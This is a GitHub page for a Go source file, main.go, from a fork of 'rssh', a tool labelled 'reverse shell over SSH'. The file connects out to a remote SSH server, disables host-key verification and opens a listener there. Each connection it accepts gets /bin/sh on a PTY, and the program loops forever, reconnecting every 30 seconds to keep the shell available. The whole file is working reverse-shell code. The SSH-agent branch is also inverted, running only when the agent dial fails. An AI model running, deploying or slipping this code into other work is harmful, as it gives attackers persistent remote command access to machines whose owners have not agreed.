forked from andrew-d/rssh
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathmain.go
376 lines (317 loc) · 8.78 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
package main
import (
"bufio"
"crypto/x509"
"encoding/pem"
"fmt"
"io"
"io/ioutil"
"log"
"net"
"os"
"os/exec"
"runtime"
"strings"
"syscall"
"time"
"comail.io/go/colog"
"github.com/bgentry/speakeasy"
"github.com/creack/pty"
"github.com/spf13/cobra"
"golang.org/x/crypto/ssh"
"golang.org/x/crypto/ssh/agent"
"golang.org/x/crypto/ssh/terminal"
)
var (
// Global flags
flagTrace bool
flagVerbose bool
flagQuiet bool
// Local flags
flagSSHUsername string
flagSSHPassword string
flagSSHIdentityFile string
flagAddr string
flagCommand string
// Logger instance
logger *log.Logger
)
var mainCommand = &cobra.Command{
Use: "rssh <remote host>",
Short: "reverse shell over SSH",
Run: runMain,
PersistentPreRun: preRun,
}
func init() {
// Global flags
pf := mainCommand.PersistentFlags()
pf.BoolVarP(&flagVerbose, "verbose", "v", false, "be more verbose")
pf.BoolVarP(&flagQuiet, "quiet", "q", false, "be quiet")
pf.BoolVarP(&flagTrace, "trace", "t", false, "be very verbose")
// Local flags
flags := mainCommand.Flags()
flags.StringVarP(&flagSSHUsername, "username", "u", os.Getenv("USER"),
"connect as the given user")
flags.StringVarP(&flagSSHPassword, "password", "p", "",
"use the given password to connect")
flags.StringVarP(&flagSSHIdentityFile, "identity-file", "i", "",
"use the given SSH key to connect to the remote host")
flags.StringVarP(&flagAddr, "address", "a", "localhost:8080",
"address to listen on on the remote host")
flags.StringVarP(&flagCommand, "command", "c", "/bin/sh",
"command to run")
}
func preRun(cmd *cobra.Command, args []string) {
var logger *colog.CoLog
logger = makeLogger()
if flagTrace {
logger.SetMinLevel(colog.LTrace)
} else if flagVerbose {
logger.SetMinLevel(colog.LDebug)
} else if flagQuiet {
logger.SetMinLevel(colog.LWarning)
} else {
logger.SetMinLevel(colog.LInfo)
}
}
func main() {
for {
runtime.GC()
_ = mainCommand.Execute()
time.Sleep(time.Second)
}
}
func runMain(cmd *cobra.Command, args []string) {
if len(args) != 1 {
log.Printf("error: invalid number of arguments (expected 1, got %d)", len(args))
os.Exit(1)
}
sshHost := args[0]
// Add a default ':22' after the end if we don't have a colon.
if !strings.Contains(sshHost, ":") {
sshHost += ":22"
}
config := &ssh.ClientConfig{
User: flagSSHUsername,
Auth: nil,
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
// Key auth
if flagSSHIdentityFile != "" {
auth, err := loadPrivateKey(flagSSHIdentityFile)
if err != nil {
log.Fatalf("error: could not load identity file '%s': %s",
flagSSHIdentityFile, err)
}
log.Println("trace: adding identity file auth")
config.Auth = append(config.Auth, auth)
} else {
// Password auth or prompt callback
if flagSSHPassword != "" {
log.Println("trace: adding password auth")
config.Auth = append(config.Auth, ssh.Password(flagSSHPassword))
} else {
log.Println("trace: adding password callback auth")
config.Auth = append(config.Auth, ssh.PasswordCallback(func() (string, error) {
prompt := fmt.Sprintf("%s@%s's password: ", flagSSHUsername, sshHost)
return speakeasy.Ask(prompt)
}))
}
}
// SSH agent auth
if agentConn, err := net.Dial("unix", os.Getenv("SSH_AUTH_SOCK")); err != nil {
log.Println("trace: adding ssh agent auth")
config.Auth = append(config.Auth,
ssh.PublicKeysCallback(agent.NewClient(agentConn).Signers))
}
config.Auth = append(config.Auth,
ssh.KeyboardInteractive(func(user, instruction string, questions []string, echos []bool) (answers []string, err error) {
var (
ans string
b []byte
)
for i, q := range questions {
prompt := fmt.Sprintf("[question %d/%d] %s", i+1, len(questions), q)
if echos[i] {
fmt.Print(prompt)
bio := bufio.NewReader(os.Stdin)
b, _, err = bio.ReadLine()
ans = string(b)
} else {
ans, err = speakeasy.Ask(prompt)
}
if err != nil {
return
}
answers = append(answers, ans)
}
return
}))
// TODO: keyboard-interactive auth, e.g. for two-factor
// Dial the SSH connection
log.Printf("debug: attempting %d authentication methods (%+v)", len(config.Auth), config.Auth)
for {
connect(sshHost, config)
log.Println("info: connect failed, will reconnect after 30 seconds")
time.Sleep(time.Second * 30)
}
}
func connect(sshHost string, config *ssh.ClientConfig) {
sshConn, err := ssh.Dial("tcp", sshHost, config)
if err != nil {
log.Fatalf("error: error dialing remote host: %s, conf: %+v, err: %v", sshHost, config, err)
}
defer sshConn.Close()
// Listen on remote
l, err := sshConn.Listen("tcp", flagAddr)
if err != nil {
log.Fatalf("error: error listening on remote host: %s", err)
return
}
defer l.Close()
// Start accepting shell connections
log.Printf("info: listening for connections on %s (remote listen address: %s)", sshHost, flagAddr)
for {
conn, err := l.Accept()
if err != nil {
if err == io.EOF {
return
}
log.Printf("error: error accepting connection: %s", err)
continue
}
log.Printf("info: accepted connection from: %s", conn.RemoteAddr())
go handleConnection(conn)
}
}
func handleConnection(c net.Conn) {
defer c.Close()
// Start the command
cmd := exec.Command(flagCommand)
// Create PTY
pty, tty, err := pty.Open()
if err != nil {
log.Printf("error: could not open PTY: %s", err)
return
}
defer tty.Close()
defer pty.Close()
// Put the TTY into raw mode
_, err = terminal.MakeRaw(int(tty.Fd()))
if err != nil {
log.Printf("warn: could not make TTY raw: %s", err)
}
// Hook everything up
cmd.Stdout = tty
cmd.Stdin = tty
cmd.Stderr = tty
if cmd.SysProcAttr == nil {
cmd.SysProcAttr = &syscall.SysProcAttr{}
}
cmd.SysProcAttr.Setctty = true
cmd.SysProcAttr.Setsid = true
// Start command
err = cmd.Start()
if err != nil {
log.Printf("error: could not start command: %s", err)
return
}
errs := make(chan error, 3)
go func() {
_, err := io.Copy(c, pty)
errs <- err
}()
go func() {
_, err := io.Copy(pty, c)
errs <- err
}()
go func() {
errs <- cmd.Wait()
}()
// Wait for a single error, then shut everything down. Since returning from
// this function closes the connection, we just read a single error and
// then continue.
<-errs
log.Printf("info: connection from %s finished", c.RemoteAddr())
}
func loadPrivateKey(path string) (ssh.AuthMethod, error) {
// Read file
keyData, err := ioutil.ReadFile(path)
if err != nil {
log.Printf("error: could not read key file '%s': %s", path, err)
return nil, err
}
// Get first PEM block
block, _ := pem.Decode(keyData)
if err != nil {
log.Printf("error: no key found in file '%s': %s", path, err)
return nil, err
}
// If it's encrypted...
var (
signer ssh.Signer
signerErr error
)
if x509.IsEncryptedPEMBlock(block) {
// Get the passphrase
prompt := fmt.Sprintf("Enter passphrase for key '%s': ", path)
pass, err := speakeasy.Ask(prompt)
if err != nil {
log.Printf("error: error getting passphrase: %s", err)
return nil, err
}
block.Bytes, err = x509.DecryptPEMBlock(block, []byte(pass))
if err != nil {
log.Printf("error: error decrypting key: %s", err)
return nil, err
}
key, err := ParsePEMBlock(block)
if err != nil {
log.Printf("error: could not parse PEM block: %s", err)
return nil, err
}
signer, signerErr = ssh.NewSignerFromKey(key)
} else {
signer, signerErr = ssh.ParsePrivateKey(keyData)
}
if signerErr != nil {
log.Printf("error: error parsing private key '%s': %s", path, signerErr)
return nil, signerErr
}
return ssh.PublicKeys(signer), nil
}
// See: https://github.com/golang/crypto/blob/master/ssh/keys.go#L598
func ParsePEMBlock(block *pem.Block) (interface{}, error) {
switch block.Type {
case "RSA PRIVATE KEY":
return x509.ParsePKCS1PrivateKey(block.Bytes)
case "EC PRIVATE KEY":
return x509.ParseECPrivateKey(block.Bytes)
case "DSA PRIVATE KEY":
return ssh.ParseDSAPrivateKey(block.Bytes)
default:
return nil, fmt.Errorf("ssh: unsupported key type %q", block.Type)
}
}
func makeLogger() *colog.CoLog {
// Create colog instance
logger := colog.NewCoLog(os.Stderr, "[RSSH]", log.Lshortfile)
// Overwrite both standard library and custom logger with this colog instance.
log.SetOutput(logger)
return logger
}
// func makeLogger() (*log.Logger, *colog.CoLog) {
// // Create logger
// logger := log.New(os.Stderr, "", 0)
// // Create colog instance
// cl := colog.NewCoLog(os.Stderr, "", log.Lshortfile)
// // TODO: can set custom headers here
// // colog.AddHeader("[foo] ", colog.LError)
// // Overwrite both standard library and custom logger with this colog instance.
// log.SetOutput(cl)
// logger.SetOutput(cl)
// // Overwrite flags on stdlib logger
// log.SetPrefix("")
// log.SetFlags(0)
// return logger, cl
// }